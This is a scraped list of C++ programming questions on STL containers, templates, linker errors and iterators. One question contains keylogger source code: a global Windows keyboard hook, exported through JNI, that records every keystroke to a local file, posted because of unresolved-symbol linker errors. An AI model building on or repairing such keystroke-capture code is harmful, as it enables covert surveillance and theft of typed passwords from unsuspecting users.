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• C++ stl collections or linked lists

  - by Lucas

  I'm developing a OpenGL based simulation in C++. I'm optmizing my code now and i see throughout the code the frequently use of std:list and std:vector. What is the more performatic: to continue using C++ stl data structs or a pointer based linked list? The main operation that involve std::list and std::vector is open a iterator and loop through all items in the data structs and apply some processing

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• What's the fastest lookup algorithm for a key, pair data structure (i.e, a map)?

  - by truncheon

  In the following example a std::map structure is filled with 26 values from A - Z (for key) and 0 – 26 for value. The time taken (on my system) to lookup the last entry (10000000 times) is roughly 250 ms for the vector, and 125 ms for the map. (I compiled using release mode, with O3 option turned on for g++ 4.4) But if for some odd reason I wanted better performance than the std::map, what data structures and functions would I need to consider using? I apologize if the answer seems obvious to you, but I haven't had much experience in the performance critical aspects of C++ programming. #include <ctime> #include <map> #include <vector> #include <iostream> struct mystruct { char key; int value; mystruct(char k = 0, int v = 0) : key(k), value(v) { } }; int find(const std::vector<mystruct>& ref, char key) { for (std::vector<mystruct>::const_iterator i = ref.begin(); i != ref.end(); ++i) if (i->key == key) return i->value; return -1; } int main() { std::map<char, int> mymap; std::vector<mystruct> myvec; for (int i = 'a'; i < 'a' + 26; ++i) { mymap[i] = i - 'a'; myvec.push_back(mystruct(i, i - 'a')); } int pre = clock(); for (int i = 0; i < 10000000; ++i) { find(myvec, 'z'); } std::cout << "linear scan: milli " << clock() - pre << "\n"; pre = clock(); for (int i = 0; i < 10000000; ++i) { mymap['z']; } std::cout << "map scan: milli " << clock() - pre << "\n"; return 0; }

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• Policy-based template design: How to access certain policies of the class?

  - by dehmann

  I have a class that uses several policies that are templated. It is called Dish in the following example. I store many of these Dishes in a vector (using a pointer to simple base class), but then I'd like to extract and use them. But I don't know their exact types. Here is the code; it's a bit long, but really simple: #include <iostream> #include <vector> struct DishBase { int id; DishBase(int i) : id(i) {} }; std::ostream& operator<<(std::ostream& out, const DishBase& d) { out << d.id; return out; } // Policy-based class: template<class Appetizer, class Main, class Dessert> class Dish : public DishBase { Appetizer appetizer_; Main main_; Dessert dessert_; public: Dish(int id) : DishBase(id) {} const Appetizer& get_appetizer() { return appetizer_; } const Main& get_main() { return main_; } const Dessert& get_dessert() { return dessert_; } }; struct Storage { typedef DishBase* value_type; typedef std::vector<value_type> Container; typedef Container::const_iterator const_iterator; Container container; Storage() { container.push_back(new Dish<int,double,float>(0)); container.push_back(new Dish<double,int,double>(1)); container.push_back(new Dish<int,int,int>(2)); } ~Storage() { // delete objects } const_iterator begin() { return container.begin(); } const_iterator end() { return container.end(); } }; int main() { Storage s; for(Storage::const_iterator it = s.begin(); it != s.end(); ++it){ std::cout << **it << std::endl; std::cout << "Dessert: " << *it->get_dessert() << std::endl; // ?? } return 0; } The tricky part is here, in the main() function: std::cout << "Dessert: " << *it->get_dessert() << std::endl; // ?? How can I access the dessert? I don't even know the Dessert type (it is templated), let alone the complete type of the object that I'm getting from the storage. This is just a toy example, but I think my code reduces to this. I'd just like to pass those Dish classes around, and different parts of the code will access different parts of it (in the example: its appetizer, main dish, or dessert).

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• Const-correctness semantics in C++

  - by thirtythreeforty

  For fun and profit™, I'm writing a trie class in C++ (using the C++11 standard.) My trie<T> has an iterator, trie<T>::iterator. (They're all actually functionally const_iterators, because you cannot modify a trie's value_type.) The iterator's class declaration looks partially like this: template<typename T> class trie<T>::iterator : public std::iterator<std::bidirectional_iterator_tag, T> { friend class trie<T>; struct state { state(const trie<T>* const node, const typename std::vector<std::pair<typename T::value_type, std::unique_ptr<trie<T>>>>::const_iterator& node_map_it ) : node{node}, node_map_it{node_map_it} {} // This pointer is to const data: const trie<T>* node; typename std::vector<std::pair<typename T::value_type, std::unique_ptr<trie<T>>>>::const_iterator node_map_it; }; public: typedef const T value_type; iterator() =default; iterator(const trie<T>* node) { parents.emplace(node, node->children.cbegin()); // ... } // ... private: std::stack<state> parents; // ... }; Notice that the node pointer is declared const. This is because (in my mind) the iterator should not be modifying the node that it points to; it is just an iterator. Now, elsewhere in my main trie<T> class, I have an erase function that has a common STL signature--it takes an iterator to data to erase (and returns an iterator to the next object). template<typename T> typename trie<T>::iterator trie<T>::erase(const_iterator it) { // ... // Cannot modify a const object! it.parents.top().node->is_leaf = false; // ... } The compiler complains because the node pointer is read-only! The erase function definitely should modify the trie that the iterator points to, even though the iterator shouldn't. So, I have two questions: Should iterator's constructors be public? trie<T> has the necessary begin() and end() members, and of course trie<T>::iterator and trie<T> are mutual friends, but I don't know what the convention is. Making them private would solve a lot of the angst I'm having about removing the const "promise" from the iterator's constructor. What are the correct const semantics/conventions regarding the iterator and its node pointer here? Nobody has ever explained this to me, and I can't find any tutorials or articles on the Web. This is probably the more important question, but it does require a good deal of planning and proper implementation. I suppose it could be circumvented by just implementing 1, but it's the principle of the thing!

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• Calling fuctions of header file

  - by navinbecse

  i want to know the way i am calling the methods defined in windows.h from c++ program is correct or wrong.. when i tried to get the library files out of it, it is showing the errors saying that unresolved methods... i am using this for jni purpose... #define _WIN32_WINNT 0x0500 #include "keylogs.h" #include <fstream #include <windows.h using namespace std; ofstream out("C:\Users\402100\Desktop\keyloggerfile.txt", ios::out); LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); // If key is being pressed if (wParam == WM_KEYDOWN) { switch (p-vkCode) { // Invisible keys case VK_CAPITAL: out << ""; break; case VK_SHIFT: out << ""; break; case VK_LCONTROL: out << ""; break; case VK_RCONTROL: out << ""; break; case VK_INSERT: out << ""; break; case VK_END: out << ""; break; case VK_PRINT: out << ""; break; case VK_DELETE: out << ""; break; case VK_BACK: out << ""; break; case VK_SPACE: out << ""; break; case VK_RMENU: out << ""; break; case VK_LMENU: out << ""; break; case VK_LEFT: out << ""; break; case VK_RIGHT: out << ""; break; case VK_UP: out << ""; break; case VK_DOWN: out << ""; break; // Visible keys default: out << char(tolower(p->vkCode)); } } return CallNextHookEx(NULL, nCode, wParam, lParam); } JNIEXPORT void JNICALL Java_keylog_Main_CallerMethod(JNIEnv *env, jobject) { HINSTANCE hInstance=GetModuleHandle(0); HHOOK keyboardHook = SetWindowsHookEx( WH_KEYBOARD_LL, keyboardHookProc, hInstance, 0); MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); out.close(); } int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { // Set windows hook return 0; } The errors which i am getting is... file.obj : error LNK2019: unresolved external symbol _imp_CallNextHookEx@16 re ferenced in function "long __stdcall keyboardHookProc(int,unsigned int,long)" (? keyboardHookProc@@YGJHIJ@Z) file.obj : error LNK2019: unresolved external symbol _imp_MessageBoxA@16 refer enced in function "class std::basic_string,cl ass std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA?AV?$ba sic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) file.obj : error LNK2019: unresolved external symbol _imp_SetWindowsHookExA@16 referenced in function "class std::basic_string,class std::allocator __cdecl CallerMethod(void)" (?CallerMethod@@YA? AV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@XZ) c:\Users\402100\Desktop\oldfile.dll : fatal error LNK1120: 3 unresolved externals can any one help me please....

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• Instruments memory leak iphone

  - by dubbeat

  Hi, I posted this problem a few days ago but it was very muddled and my question wasnt very clear so I removed it. I've been digging around and the memory leak is still persiting. Hopefully this attempt will be clearer. First off I've run the static analyzer and it reports no memory leaks. I then ran Instruments and it pointed to a memory leak at this line of code. As far as I can see there is no memory leak. featured=[[UILabel alloc]initWithFrame:CGRectMake(130,15, 200, 15)]; //[featured setFont:[UIFont UIFontboldSystemFontOfSize:20]]; featured.font = [UIFont boldSystemFontOfSize:20]; featured.backgroundColor= [UIColor clearColor]; featured.textColor=[UIColor blackColor]; featured.text= @"Featured Promo"; [self.view addSubview:featured]; [featured release]; featured=nil; If I comment out the above code Instruments reports another memory leak in another block of code where there is no discernible leak. UIButton *populartbutton = [[UIButton buttonWithType:UIButtonTypeRoundedRect]]; populartbutton.frame = CGRectMake(112, 145, 90, 22); // size and position of button [populartbutton setTitle:@"Popular" forState:UIControlStateNormal]; populartbutton.backgroundColor = [UIColor clearColor]; populartbutton.adjustsImageWhenHighlighted = YES; [populartbutton addTarget:self action:@selector(getpopular:) forControlEvents:UIControlEventTouchUpInside]; [self.view addSubview:populartbutton]; Instruments also says Responsible Library = Core Graphics Responsible Frame = open_handle_to_dylib_path This Is the stack trace. 53 Promo start 52 Promo main /Users/..2/main.m:14 51 UIKit UIApplicationMain 50 UIKit -[UIApplication _run] 49 CoreFoundation CFRunLoopRunInMode 48 CoreFoundation CFRunLoopRunSpecific 47 GraphicsServices PurpleEventCallback 46 UIKit _UIApplicationHandleEvent 45 UIKit -[UIApplication sendEvent:] 44 UIKit -[UIApplication handleEvent:withNewEvent:] 43 UIKit -[UIApplication _reportAppLaunchFinished] 42 QuartzCore CA::Transaction::commit() 41 QuartzCore CA::Context::commit_transaction(CA::Transaction*) 40 QuartzCore CALayerLayoutIfNeeded 39 QuartzCore -[CALayer layoutSublayers] 38 UIKit -[UILayoutContainerView layoutSubviews] 37 UIKit -[UINavigationController _startDeferredTransitionIfNeeded] 36 UIKit -[UINavigationController _startTransition:fromViewController:toViewController:] 35 UIKit -[UINavigationController _layoutViewController:] 34 UIKit -[UINavigationController_computeAndApplyScrollContentInsetDeltaForViewController:] 33 UIKit -[UIViewController contentScrollView] 32 UIKit -[UIViewController view] 31 Promo -[FeaturedLevelViewController viewDidLoad] /Users/..s/FeaturedLevelViewController.m:67 // THIS IS MY CLASS WHERE THE CODE SAMPLES ABOVE ARE FROM 30 UIKit -[UILabel initWithFrame:] 29 UIKit -[UILabel _commonInit] 28 UIKit +[UILabel defaultFont] 27 UIKit +[UIFont systemFontOfSize:] 26 GraphicsServices GSFontCreateWithName 25 CoreGraphics CGFontCreateWithName 24 CoreGraphics CGFontCreateWithFontName 23 CoreGraphics CGFontFinderGetDefault 22 CoreGraphics CGFontGetVTable 21 libSystem.B.dylib pthread_once 20 CoreGraphics load_vtable 19 CoreGraphics load_library 18 CoreGraphics CGLibraryLoadFunction 17 CoreGraphics load_function 16 CoreGraphics open_handle_to_dylib_path 15 libSystem.B.dylib dlopen 14 dyld dlopen 13 dyld dyld::link(ImageLoader*, bool, ImageLoader::RPathChain const&) 12 dyld ImageLoader::link(ImageLoader::LinkContext const&, bool, bool, ImageLoader::RPathChain const&) 11 dyld ImageLoader::recursiveLoadLibraries(ImageLoader::LinkContext const&, bool, ImageLoader::RPathChain const&) 10 dyld dyld::libraryLocator(char const*, bool, char const*, ImageLoader::RPathChain const*) 9 dyld dyld::load(char const*, dyld::LoadContext const&) 8 dyld dyld::loadPhase0(char const*, dyld::LoadContext const&, std::vector<char const*, std::allocator<char const*> >*) 7 dyld dyld::loadPhase1(char const*, dyld::LoadContext const&, std::vector<char const*, std::allocator<char const*> >*) 6 dyld dyld::loadPhase3(char const*, dyld::LoadContext const&, std::vector<char const*, std::allocator<char const*> >*) 5 dyld dyld::loadPhase4(char const*, dyld::LoadContext const&, std::vector<char const*, std::allocator<char const*> >*) 4 dyld dyld::loadPhase5(char const*, dyld::LoadContext const&, std::vector<char const*, std::allocator<char const*> >*) 3 dyld dyld::mkstringf(char const*, ...) 2 dyld strdup 1 dyld malloc 0 libSystem.B.dylib malloc I'm really not too sure how to use this information to fix the problem so any guidance would be appreciated. Perhaps the answer is in the trace but I just don't know what to look for? EDIT:: The above stack trace is when running on the simulator. The following is from running on a device. This trace does not point to any of my own classes 23 Promo 0x0 22 libSystem.B.dylib _pthread_body 21 Foundation __NSThread__main__ 20 Foundation +[NSThread exit] 19 libSystem.B.dylib _pthread_exit 18 libSystem.B.dylib _pthread_tsd_cleanup 17 QuartzCore CA::Transaction::release_thread(void*) 16 QuartzCore CA::Transaction::commit() 15 QuartzCore CA::Context::commit_transaction(CA::Transaction*) 14 QuartzCore CALayerDisplayIfNeeded 13 QuartzCore -[CALayer display] 12 QuartzCore -[CALayer _display] 11 QuartzCore CABackingStoreUpdate 10 QuartzCore backing_callback(CGContext*, void*) 9 QuartzCore -[CALayer drawInContext:] 8 UIKit -[UIView(CALayerDelegate) drawLayer:inContext:] 7 UIKit -[UILabel drawRect:] 6 UIKit -[UILabel drawTextInRect:] 5 UIKit -[UILabel _drawTextInRect:baselineCalculationOnly:] 4 UIKit -[NSString(UIStringDrawing) drawAtPoint:forWidth:withFont:lineBreakMode:] 3 UIKit -[NSString(UIStringDrawing) drawAtPoint:forWidth:withFont:lineBreakMode:letterSpacing:includeEmoji:] 2 WebCore WKSetCurrentGraphicsContext 1 WebCore CurrentThreadContext() 0 libSystem.B.dylib calloc

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• Error using traits class.: "expected constructor destructor or type conversion before '&' token"

  - by Mark

  I have a traits class that's used for printing out different character types: template <typename T> class traits { public: static std::basic_ostream<T>& tout; }; template<> std::ostream& traits<char>::tout = std::cout; template<> std::wostream& traits<unsigned short>::tout = std::wcout; gcc (g++) version 3.4.5 (yes somewhat old) is throwing an error: "expected constructor destructor or type conversion before '&' token" And I'm wondering if there's a good way to resolve this. (it's also angry about _O_WTEXT so if anyone's got some insight into that, I'd also appreciate it)

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• Of these 3 methods for reading linked lists from shared memory, why is the 3rd fastest?

  - by Joseph Garvin

  I have a 'server' program that updates many linked lists in shared memory in response to external events. I want client programs to notice an update on any of the lists as quickly as possible (lowest latency). The server marks a linked list's node's state_ as FILLED once its data is filled in and its next pointer has been set to a valid location. Until then, its state_ is NOT_FILLED_YET. I am using memory barriers to make sure that clients don't see the state_ as FILLED before the data within is actually ready (and it seems to work, I never see corrupt data). Also, state_ is volatile to be sure the compiler doesn't lift the client's checking of it out of loops. Keeping the server code exactly the same, I've come up with 3 different methods for the client to scan the linked lists for changes. The question is: Why is the 3rd method fastest? Method 1: Round robin over all the linked lists (called 'channels') continuously, looking to see if any nodes have changed to 'FILLED': void method_one() { std::vector<Data*> channel_cursors; for(ChannelList::iterator i = channel_list.begin(); i != channel_list.end(); ++i) { Data* current_item = static_cast<Data*>(i->get(segment)->tail_.get(segment)); channel_cursors.push_back(current_item); } while(true) { for(std::size_t i = 0; i < channel_list.size(); ++i) { Data* current_item = channel_cursors[i]; ACQUIRE_MEMORY_BARRIER; if(current_item->state_ == NOT_FILLED_YET) { continue; } log_latency(current_item->tv_sec_, current_item->tv_usec_); channel_cursors[i] = static_cast<Data*>(current_item->next_.get(segment)); } } } Method 1 gave very low latency when then number of channels was small. But when the number of channels grew (250K+) it became very slow because of looping over all the channels. So I tried... Method 2: Give each linked list an ID. Keep a separate 'update list' to the side. Every time one of the linked lists is updated, push its ID on to the update list. Now we just need to monitor the single update list, and check the IDs we get from it. void method_two() { std::vector<Data*> channel_cursors; for(ChannelList::iterator i = channel_list.begin(); i != channel_list.end(); ++i) { Data* current_item = static_cast<Data*>(i->get(segment)->tail_.get(segment)); channel_cursors.push_back(current_item); } UpdateID* update_cursor = static_cast<UpdateID*>(update_channel.tail_.get(segment)); while(true) { if(update_cursor->state_ == NOT_FILLED_YET) { continue; } ::uint32_t update_id = update_cursor->list_id_; Data* current_item = channel_cursors[update_id]; if(current_item->state_ == NOT_FILLED_YET) { std::cerr << "This should never print." << std::endl; // it doesn't continue; } log_latency(current_item->tv_sec_, current_item->tv_usec_); channel_cursors[update_id] = static_cast<Data*>(current_item->next_.get(segment)); update_cursor = static_cast<UpdateID*>(update_cursor->next_.get(segment)); } } Method 2 gave TERRIBLE latency. Whereas Method 1 might give under 10us latency, Method 2 would inexplicably often given 8ms latency! Using gettimeofday it appears that the change in update_cursor-state_ was very slow to propogate from the server's view to the client's (I'm on a multicore box, so I assume the delay is due to cache). So I tried a hybrid approach... Method 3: Keep the update list. But loop over all the channels continuously, and within each iteration check if the update list has updated. If it has, go with the number pushed onto it. If it hasn't, check the channel we've currently iterated to. void method_three() { std::vector<Data*> channel_cursors; for(ChannelList::iterator i = channel_list.begin(); i != channel_list.end(); ++i) { Data* current_item = static_cast<Data*>(i->get(segment)->tail_.get(segment)); channel_cursors.push_back(current_item); } UpdateID* update_cursor = static_cast<UpdateID*>(update_channel.tail_.get(segment)); while(true) { for(std::size_t i = 0; i < channel_list.size(); ++i) { std::size_t idx = i; ACQUIRE_MEMORY_BARRIER; if(update_cursor->state_ != NOT_FILLED_YET) { //std::cerr << "Found via update" << std::endl; i--; idx = update_cursor->list_id_; update_cursor = static_cast<UpdateID*>(update_cursor->next_.get(segment)); } Data* current_item = channel_cursors[idx]; ACQUIRE_MEMORY_BARRIER; if(current_item->state_ == NOT_FILLED_YET) { continue; } found_an_update = true; log_latency(current_item->tv_sec_, current_item->tv_usec_); channel_cursors[idx] = static_cast<Data*>(current_item->next_.get(segment)); } } } The latency of this method was as good as Method 1, but scaled to large numbers of channels. The problem is, I have no clue why. Just to throw a wrench in things: if I uncomment the 'found via update' part, it prints between EVERY LATENCY LOG MESSAGE. Which means things are only ever found on the update list! So I don't understand how this method can be faster than method 2. The full, compilable code (requires GCC and boost-1.41) that generates random strings as test data is at: http://pastebin.com/e3HuL0nr

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• C++ Project compiles as static lib, fails (linker error) as dynamic lib. why??

  - by Roey

  Hi All. I've a VS2008 native C++ project, that I wish to compile as a DLL. It only references one external library (log4cplus.lib), and uses its functions. (also uses log4cplus's .h files , naturally). When I try to compile my project as a static library, it succeeeds. When I try as DLL, it fails : 1>MessageWriter.obj : error LNK2019: unresolved external symbol "public: static class log4cplus::Logger __cdecl log4cplus::Logger::getInstance(class std::basic_string<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> > const &)" (?getInstance@Logger@log4cplus@@SA?AV12@ABV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@std@@@Z) referenced in function "class log4cplus::Logger __cdecl Log(void)" (?Log@@YA?AVLogger@log4cplus@@XZ) There are 4 more errors just like this related to functions within log4cplus.lib. It seems like something really stupid.. please help me :) Thanks!

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• Optimal method to create a large string containing several variables?

  - by Runcible

  I want to create a string that contains many variables: std::string name1 = "Frank"; std::string name2 = "Joe"; std::string name3 = "Nancy"; std::string name4 = "Sherlock"; std::string sentence; sentence = name1 + " and " + name2 + " sat down with " + name3; sentence += " to play cards, while " + name4 + " played the violin."; This should produce a sentence that reads Frank and Joe sat down with Nancy to play cards, while Sherlock played the violin. My question is: What is the optimal way to accomplish this? I am concerned that constantly using the + operator is ineffecient. Is there a better way?

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• What is the proper way to declare a specialization of a template for another template type?

  - by Head Geek

  The usual definition for a specialization of a template function is something like this: class Foo { [...] }; namespace std { template<> void swap(Foo& left, Foo& right) { [...] } } // namespace std But how do you properly define the specialization when the type it's specialized on is itself a template? Here's what I've got: template <size_t Bits> class fixed { [...] }; namespace std { template<size_t Bits> void swap(fixed<Bits>& left, fixed<Bits>& right) { [...] } } // namespace std Is this the right way to declare swap? It's supposed to be a specialization of the template function std::swap, but I can't tell whether the compiler is seeing it as such, or whether it thinks that it's an overload of it or something.

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• Compilation Error on Recursive Variadic Template Function

  - by Maxpm

  I've prepared a simple variadic template test in Code::Blocks, but I'm getting an error: No matching function for call to 'OutputSizes()' Here's my source code: #include <iostream> #include <typeinfo> using namespace std; template <typename FirstDatatype, typename... DatatypeList> void OutputSizes() { std::cout << typeid(FirstDatatype).name() << ": " << sizeof(FirstDatatype) << std::endl; OutputSizes<DatatypeList...>(); } int main() { OutputSizes<char, int, long int>(); return 0; } I'm using GNU GCC with -std=C++0x. Using std=gnu++0x makes no difference.

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• Overloading operator>> for case insensitive string

  - by TheSOFan

  Given the definition of ci_string from cpp.reference.com, how would we go about implementing operator? My attempts at it involved std::read, but it doesn't seem to work (that is, gcount() properly counts the number of characters entered, but there is no output) #include <iostream> #include <cctype> #include <string> // ci_string definition goes here std::istream& operator>>(std::istream& in, ci_string& str) { return in.read(&*str.begin(), 4); } int main() { ci_string test_str; std::cin >> test_str; std::cout << test_str; return 0; }

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• Templates --> How to decipher, decide if necessary and create?

  - by ML

  Hi All, I have a few classes in a project that I inherited that are really old, last I knew they compiled with CodeWarrior 8. I am not in XCode 3.2 Here is an example of what I struggle with: template <class registeredObject> typename std::vector<registeredObject>::iterator FxRegistry<registeredObject>::begin(void) { return mRegistryList.begin(); } The errors are: no 'typename std::vector<registeredObject, std::allocator<_CharT> >::iterator FxRegistry<registeredObject>::begin()' member function declared in class 'FxRegistry<registeredObject>' template definition of non-template 'typename std::vector<registeredObject, std::allocator<_CharT> >::iterator FxRegistry<registeredObject>::begin()' How do I decide how to solve these and where do I start looking?

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• Iterator category

  - by Knowing me knowing you

  In code: //I know that to get this effect (being able to use it with std algorithms) I can inherit like I did in line below: class Iterator //: public std::iterator<std::bidirectional_iterator_tag,T> { private: T** itData_; public: //BUT I WOULD LIKE TO BE ABLE TO DO IT BY HAND AS WELL typedef std::bidirectional_iterator_tag iterator_category; typedef T* value_type;//SHOULD IT BE T AS value_type or T*? typedef std::ptrdiff_t difference_type; typedef T** pointer;//SHOULD IT BE T* AS pointer or T**? typedef T*& reference;//SHOULD IT BE T& AS reference or T*&? }; Basically what I'm asking is if I have my variable of type T** in iterator class is it right assumption that value type for this iterator will be T* and so on as I described in comments in code, right next to relevant lines. Thank you.

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• C++ get method - returning by value or by reference

  - by HardCoder1986

  Hello! I've go a very simple question, but unfortunately I can't figure the answer myself. Suppose I've got some data structure that holds settings and acts like a settings map. I have a GetValue(const std::string& name) method, that returns the corresponding value. Now I'm trying to figure out - what kind of return-value approach would be better. The obvious one means making my method act like std::string GetValue(const std::string& name) and return a copy of the object and rely on RVO in performance meanings. The other one would mean making two methods std::string& GetValue(...) const std::string& GetValue(...) const which generally means duplicating code or using some evil constant casts to use one of these routines twice. #Q What would be your choice in this kind of situation and why?

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• Why can't we have an immutable version of operator[] for map

  - by Yan Cheng CHEOK

  The following code works fine : std::map<int, int>& m = std::map<int, int>(); int i = m[0]; But not the following code : // error C2678: binary '[' : no operator... const std::map<int, int>& m = std::map<int, int>(); int i = m[0]; Most of the time, I prefer to make most of my stuff to become immutable, due to reason : http://www.javapractices.com/topic/TopicAction.do?Id=29 I look at map source code. It has mapped_type& operator[](const key_type& _Keyval) Is there any reason, why std::map unable to provide const mapped_type& operator[](const key_type& _Keyval) const

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• C++ function object terminology functor, deltor, comparitor, etc..

  - by Robert S. Barnes

  Is there a commonly accepted terminology for various types for common functors? For instance I found myself naturally using comparitor for comparison functors like this: struct ciLessLibC : public std::binary_function<std::string, std::string, bool> { bool operator()(const std::string &lhs, const std::string &rhs) const { return strcasecmp(lhs.c_str(), rhs.c_str()) < 0 ? 1 : 0; } }; Or using the term deltor for something like this: struct DeleteAddrInfo { void operator()(const addr_map_t::value_type &pr) const { freeaddrinfo(pr.second); } }; If using these kinds of shorthand terms is common, it there some dictionary of them all someplace?

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• Unhandled exception, even after adding try-catch block ? C++

  - by user2525503

  try { bool numericname=false; std::cout <<"\n\nEnter the Name of Customer: "; std::getline(cin,Name); std::cout<<"\nEnter the Number of Customer: "; std::cin>>Number; std::string::iterator i=Name.begin(); while(i!=Name.end()) { if(isdigit(*i)) { numericname=true; } i++; } if(numericname) { throw "Name cannot be numeric."; } } catch(string message) { cout<<"\nError Found: "<< message <<"\n\n"; } Why am I getting unhandled exception error ? Even after I have added the catch block to catch thrown string messages?

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• What's the best way to return something like a collection of `std::auto_ptr`s in C++03?

  - by Billy ONeal

  std::auto_ptr is not allowed to be stored in an STL container, such as std::vector. However, occasionally there are cases where I need to return a collection of polymorphic objects, and therefore I can't return a vector of objects (due to the slicing problem). I can use std::tr1::shared_ptr and stick those in the vector, but then I have to pay a high price of maintaining separate reference counts, and object that owns the actual memory (the container) no longer logically "owns" the objects because they can be copied out of it without regard to ownership. C++0x offers a perfect solution to this problem in the form of std::vector<std::unique_ptr<t>>, but I don't have access to C++0x. Some other notes: I don't have access to C++0x, but I do have TR1 available. I would like to avoid use of Boost (though it is available if there is no other option) I am aware of boost::ptr_container containers (i.e. boost::ptr_vector), but I would like to avoid this because it breaks the debugger (innards are stored in void *s which means it's difficult to view the object actually stored inside the container in the debugger)

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• how to use replace_regex_copy() from boost::algorithm library?

  - by Vincenzo

  This is my code: #include <string> #include <boost/algorithm/string/regex.hpp> string f(const string& s) { using namespace boost::algorithm; return replace_regex_copy(s, "\\w", "?"); } This is what compiler says: no matching function for call to ‘replace_regex_copy(const std::basic_string<char, std::char_traits<char>, std::allocator<char> >&, std::string, std::string) The link to the library: http://www.boost.org/doc/libs/1_43_0/doc/html/boost/algorithm/replace_regex_copy.html Could anyone please help? Thanks! ps. Boost library is in place, since other functions from it work fine.

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• can't compile min_element in c++

  - by Vincenzo

  This is my code: #include <algorithm> #include <vector> #include <string> using namespace std; class A { struct CompareMe { bool operator() (const string*& s1, const string*& s2) const { return true; } }; void f() { CompareMe comp; vector<string*> v; min_element(v.begin(), v.end(), comp); } }; And this is the error: error: no match for call to ‘(A::CompareMe) (std::string*&, std::string*&)’ test.cpp:7: note: candidates are: bool A::CompareMe::operator()(const std::string*&, const std::string*&) const I feel that there is some syntax defect, but can't find out which one. Please, help!

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• SFML fail to load image as texture

  - by zyeek

  I have come to a problem with the code below ... Using SFML 2.0 #include <SFML/Graphics.hpp> #include <iostream> #include <list> int main() { float speed = 5.0f; // create the window sf::RenderWindow window(sf::VideoMode(sf::VideoMode::getDesktopMode().height - 300, 800), "Bricks"); // Set game window position on the screen window.setPosition( sf::Vector2i(sf::VideoMode::getDesktopMode().width/4 + sf::VideoMode::getDesktopMode().width/16 , 0) ); // Allow library to accept repeatitive key presses (i.e. holding key) window.setKeyRepeatEnabled(true); // Hide mouse cursor //window.setMouseCursorVisible(false); // Limit 30 frames per sec; the minimum for all games window.setFramerateLimit(30); sf::Texture texture; if (!texture.loadFromFile("tile.png", sf::IntRect(0, 0, 125, 32))) { std::cout<<"Could not load image\n"; return -1; } // Empty list of sprites std::list<sf::Sprite> spriteContainer; bool gameFocus = true; // run the program as long as the window is open while (window.isOpen()) { sf::Vector2i mousePos = sf::Mouse::getPosition(window); // check all the window's events that were triggered since the last iteration of the loop sf::Event event; while (window.pollEvent(event)) { float offsetX = 0.0f, offsetY = 0.0f; if(event.type == sf::Event::GainedFocus) gameFocus = !gameFocus; else if(event.type == sf::Event::LostFocus) gameFocus = !gameFocus; if(event.type == sf::Event::KeyPressed) { if (event.key.code == sf::Keyboard::Space) { if(gameFocus) { // Create sprite and add features before putting it into container sf::Sprite sprite(texture); sprite.scale(.9f,.7f); sf::Vector2u textSize = texture.getSize(); sprite.setPosition(sf::Vector2f(mousePos.x-textSize.x/2.0f, mousePos.y - textSize.y/2.0f)); spriteContainer.push_front(sprite); } } if(event.key.code == sf::Keyboard::P) std::cout << spriteContainer.size() << std::endl; if( event.key.code == sf::Keyboard::W ) offsetY -= speed; if( event.key.code == sf::Keyboard::A ) offsetX -= speed; if( event.key.code == sf::Keyboard::S ) offsetY += speed; if( event.key.code == sf::Keyboard::D ) offsetX += speed; } // "close requested" event: we close the window if (event.type == sf::Event::Closed || event.key.code == sf::Keyboard::Escape) window.close(); // Move all sprites synchronously for (std::list<sf::Sprite>::iterator sprite = spriteContainer.begin(); sprite != spriteContainer.end(); ++sprite) sprite->move(offsetX, offsetY); //sprite.move(offsetX,offsetY); } // clear the window with black color window.clear(sf::Color::Black); // draw everything here... // window.draw(...); // Draw all sprites in the container for (std::list<sf::Sprite>::iterator sprite = spriteContainer.begin(); sprite != spriteContainer.end(); ++sprite) window.draw(*sprite); // end the current frame window.display(); } return 0; } A couple weeks ago it worked flawlessly to my expectation, but now that I come back to it and I am having problems importing the image as a texture "tile.png". I don't understand why this is evening happening and the only message I get via the terminal is "Cannot load image ..." then a bunch of random characters. My libraries are for sure working, but now I am not sure why the image is not loading. My image is in the same directory as with my .h and .cpp files. This is an irritating problem that keep coming up for some reason and is always a problem to fix it. I import my libraries via my own directory "locals" which contain many APIs, but I specifically get SFML, and done appropriately as I am able to open a window and many other stuff.

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• Compile time Meta-programming, with string literals.

  - by Hassan Syed

  I'm writing some code which could really do with some simple compile time metaprogramming. It is common practise to use empty-struct tags as compile time symbols. I need to decorate the tags with some run-time config elements. static variables seem the only way to go (to enable meta-programming), however static variables require global declarations. to side step this Scott Myers suggestion (from the third edition of Effective C++), about sequencing the initialization of static variables by declaring them inside a function instead of as class variables, came to mind. So I came up with the following code, my hypothesis is that it will let me have a compile-time symbols with string literals use-able at runtime. I'm not missing anything I hope. template<class Instance> class TheBestThing { public: void set_name(const char * name_in) { get_name() = std::string(name_in); } void set_fs_location(const char * fs_location_in) { get_fs_location() = std::string(fs_location_in); } std::string & get_fs_location() { static std::string fs_location; return fs_location; } std::string & get_name() { static std::string name; return name; } }; struct tag {}; int main() { TheBestThing<tag> x; x.set_name("xyz"); x.set_fs_location("/etc/lala"); ImportantObject<x> SinceSlicedBread; }

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• error: switch quantity not an integer

  - by nikeunltd

